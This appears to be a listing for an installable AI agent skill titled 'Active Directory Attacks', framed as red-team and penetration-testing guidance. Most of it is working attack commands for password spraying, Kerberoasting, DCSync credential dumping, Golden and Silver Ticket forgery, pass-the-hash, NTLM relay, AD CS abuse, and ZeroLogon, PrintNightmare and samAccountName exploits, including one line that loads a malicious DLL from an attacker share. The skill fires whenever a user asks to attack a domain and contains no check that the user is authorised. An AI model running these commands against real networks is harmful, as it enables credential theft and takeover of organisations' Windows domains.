This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
Add this skill
npx mdskills install sickn33/active-directory-attacksComprehensive offensive AD security guide with actionable commands and troubleshooting
1---2name: Active Directory Attacks3description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.4metadata:5 author: zebbern6 version: "1.1"7---89# Active Directory Attacks1011## Purpose1213Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.1415## Inputs/Prerequisites1617- Kali Linux or Windows attack platform18- Domain user credentials (for most attacks)19- Network access to Domain Controller20- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec2122## Outputs/Deliverables2324- Domain enumeration data25- Extracted credentials and hashes26- Kerberos tickets for impersonation27- Domain Administrator access28- Persistent access mechanisms2930---3132## Essential Tools3334| Tool | Purpose |35|------|---------|36| BloodHound | AD attack path visualization |37| Impacket | Python AD attack tools |38| Mimikatz | Credential extraction |39| Rubeus | Kerberos attacks |40| CrackMapExec | Network exploitation |41| PowerView | AD enumeration |42| Responder | LLMNR/NBT-NS poisoning |4344---4546## Core Workflow4748### Step 1: Kerberos Clock Sync4950Kerberos requires clock synchronization (±5 minutes):5152```bash53# Detect clock skew54nmap -sT 10.10.10.10 -p445 --script smb2-time5556# Fix clock on Linux57sudo date -s "14 APR 2024 18:25:16"5859# Fix clock on Windows60net time /domain /set6162# Fake clock without changing system time63faketime -f '+8h' <command>64```6566### Step 2: AD Reconnaissance with BloodHound6768```bash69# Start BloodHound70neo4j console71bloodhound --no-sandbox7273# Collect data with SharpHound74.\SharpHound.exe -c All75.\SharpHound.exe -c All --ldapusername user --ldappassword pass7677# Python collector (from Linux)78bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all79```8081### Step 3: PowerView Enumeration8283```powershell84# Get domain info85Get-NetDomain86Get-DomainSID87Get-NetDomainController8889# Enumerate users90Get-NetUser91Get-NetUser -SamAccountName targetuser92Get-UserProperty -Properties pwdlastset9394# Enumerate groups95Get-NetGroupMember -GroupName "Domain Admins"96Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member9798# Find local admin access99Find-LocalAdminAccess -Verbose100101# User hunting102Invoke-UserHunter103Invoke-UserHunter -Stealth104```105106---107108## Credential Attacks109110### Password Spraying111112```bash113# Using kerbrute114./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123115116# Using CrackMapExec117crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success118```119120### Kerberoasting121122Extract service account TGS tickets and crack offline:123124```bash125# Impacket126GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt127128# Rubeus129.\Rubeus.exe kerberoast /outfile:hashes.txt130131# CrackMapExec132crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt133134# Crack with hashcat135hashcat -m 13100 hashes.txt rockyou.txt136```137138### AS-REP Roasting139140Target accounts with "Do not require Kerberos preauthentication":141142```bash143# Impacket144GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat145146# Rubeus147.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt148149# Crack with hashcat150hashcat -m 18200 hashes.txt rockyou.txt151```152153### DCSync Attack154155Extract credentials directly from DC (requires Replicating Directory Changes rights):156157```bash158# Impacket159secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt160161# Mimikatz162lsadump::dcsync /domain:domain.local /user:krbtgt163lsadump::dcsync /domain:domain.local /user:Administrator164```165166---167168## Kerberos Ticket Attacks169170### Pass-the-Ticket (Golden Ticket)171172Forge TGT with krbtgt hash for any user:173174```powershell175# Get krbtgt hash via DCSync first176# Mimikatz - Create Golden Ticket177kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt178179# Impacket180ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator181export KRB5CCNAME=Administrator.ccache182psexec.py -k -no-pass domain.local/Administrator@dc.domain.local183```184185### Silver Ticket186187Forge TGS for specific service:188189```powershell190# Mimikatz191kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt192```193194### Pass-the-Hash195196```bash197# Impacket198psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH199wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH200smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH201202# CrackMapExec203crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local204crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth205```206207### OverPass-the-Hash208209Convert NTLM hash to Kerberos ticket:210211```bash212# Impacket213getTGT.py domain.local/user -hashes :NTHASH214export KRB5CCNAME=user.ccache215216# Rubeus217.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt218```219220---221222## NTLM Relay Attacks223224### Responder + ntlmrelayx225226```bash227# Start Responder (disable SMB/HTTP for relay)228responder -I eth0 -wrf229230# Start relay231ntlmrelayx.py -tf targets.txt -smb2support232233# LDAP relay for delegation attack234ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access235```236237### SMB Signing Check238239```bash240crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt241```242243---244245## Certificate Services Attacks (AD CS)246247### ESC1 - Misconfigured Templates248249```bash250# Find vulnerable templates251certipy find -u user@domain.local -p password -dc-ip 10.10.10.10252253# Exploit ESC1254certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local255256# Authenticate with certificate257certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10258```259260### ESC8 - Web Enrollment Relay261262```bash263ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController264```265266---267268## Critical CVEs269270### ZeroLogon (CVE-2020-1472)271272```bash273# Check vulnerability274crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon275276# Exploit277python3 cve-2020-1472-exploit.py DC01 10.10.10.10278279# Extract hashes280secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass281282# Restore password (important!)283python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD284```285286### PrintNightmare (CVE-2021-1675)287288```bash289# Check for vulnerability290rpcdump.py @10.10.10.10 | grep 'MS-RPRN'291292# Exploit (requires hosting malicious DLL)293python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'294```295296### samAccountName Spoofing (CVE-2021-42278/42287)297298```bash299# Automated exploitation300python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell301```302303---304305## Quick Reference306307| Attack | Tool | Command |308|--------|------|---------|309| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |310| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |311| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |312| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |313| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |314| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |315316---317318## Constraints319320**Must:**321- Synchronize time with DC before Kerberos attacks322- Have valid domain credentials for most attacks323- Document all compromised accounts324325**Must Not:**326- Lock out accounts with excessive password spraying327- Modify production AD objects without approval328- Leave Golden Tickets without documentation329330**Should:**331- Run BloodHound for attack path discovery332- Check for SMB signing before relay attacks333- Verify patch levels for CVE exploitation334335---336337## Examples338339### Example 1: Domain Compromise via Kerberoasting340341```bash342# 1. Find service accounts with SPNs343GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10344345# 2. Request TGS tickets346GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt347348# 3. Crack tickets349hashcat -m 13100 tgs.txt rockyou.txt350351# 4. Use cracked service account352psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10353```354355### Example 2: NTLM Relay to LDAP356357```bash358# 1. Start relay targeting LDAP359ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access360361# 2. Trigger authentication (e.g., via PrinterBug)362python3 printerbug.py domain.local/user:pass@target 10.10.10.12363364# 3. Use created machine account for RBCD attack365```366367---368369## Troubleshooting370371| Issue | Solution |372|-------|----------|373| Clock skew too great | Sync time with DC or use faketime |374| Kerberoasting returns empty | No service accounts with SPNs |375| DCSync access denied | Need Replicating Directory Changes rights |376| NTLM relay fails | Check SMB signing, try LDAP target |377| BloodHound empty | Verify collector ran with correct creds |378379---380381## Additional Resources382383For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).384
Full transparency — inspect the skill content before installing.